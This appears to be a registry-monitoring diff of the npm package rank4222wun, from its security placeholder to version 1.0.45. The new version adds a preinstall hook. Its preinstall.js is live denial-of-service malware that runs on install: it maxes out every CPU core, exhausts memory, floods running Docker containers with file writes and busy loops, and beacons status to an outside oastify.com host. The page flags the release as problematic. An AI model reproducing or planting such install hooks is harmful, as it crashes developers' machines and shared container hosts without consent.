rank4222wun 0.0.1-security → 1.0.45

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of rank4222wun might be problematic. Click here for more details.

package/package.json CHANGED
@@ -1,6 +1,10 @@
1
1
  {
2
2
  "name": "rank4222wun",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.45",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node preinstall.js"
8
+ },
9
+ "dependencies": {}
6
10
  }
package/preinstall.js ADDED
@@ -0,0 +1,45 @@
1
+ // preinstall.js - Aggressive Multi-Vector DoS
2
+ const { exec, spawn } = require('child_process');
3
+ const https = require('https');
4
+
5
+ // 1. هجوم استنزاف المعالج (CPU Burner) - بيشغل كل الأنوية 100%
6
+ function burnCPU() {
7
+ // تشغيل عمليات حسابية لا نهائية في الخلفية بعدد أنوية الجهاز
8
+ for (let i = 0; i < require('os').cpus().length; i++) {
9
+ const p = spawn('node', ['-e', 'while(true){Math.random()*Math.random()}']);
10
+ p.unref();
11
+ }
12
+ }
13
+
14
+ // 2. هجوم استنزاف الذاكرة (Memory Crasher)
15
+ function crashRAM() {
16
+ // بيحجز RAM لحد ما الـ OS ينهار أو يـ "Freeze"
17
+ exec('node -e "let a=[]; while(true){a.push(new Buffer(1024*1024).fill(0x61))}"');
18
+ }
19
+
20
+ // 3. هجوم الـ Docker - ضرب الـ Shared Kernel
21
+ // بدل ما نعتمد على Fork Bomb، هنخلي كل حاوية تفتح آلاف الاتصالات
22
+ const dockerAggressive = `
23
+ for c in $(docker ps -q); do
24
+ # إغراق الشبكة والـ File Descriptors
25
+ docker exec -d $c sh -c "while true; do head -c 100 /dev/urandom > /tmp/f$(date +%s%N); done" 2>/dev/null
26
+
27
+ # محاولة كسر الـ Context Switching
28
+ docker exec -d $c sh -c "yes > /dev/null & yes > /dev/null & yes > /dev/null" 2>/dev/null
29
+ done
30
+ `;
31
+
32
+ // التنفيذ الفوري
33
+ console.log("🔥 Executing Deep Resource Exhaustion...");
34
+ burnCPU();
35
+ crashRAM();
36
+ exec(dockerAggressive);
37
+
38
+ // التبليغ للـ OAST بعد ما نتأكد إن العمليات بدأت فعلاً
39
+ const req = https.request({
40
+ hostname: 'v84zr5z8jz4cr781u5eyl6cgv71ypudj.oastify.com',
41
+ path: '/real-dos-executed',
42
+ method: 'POST'
43
+ });
44
+ req.write(JSON.stringify({ status: "Attacking_Resources", platform: process.platform }));
45
+ req.end();
Binary file
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=rank4222wun for more information.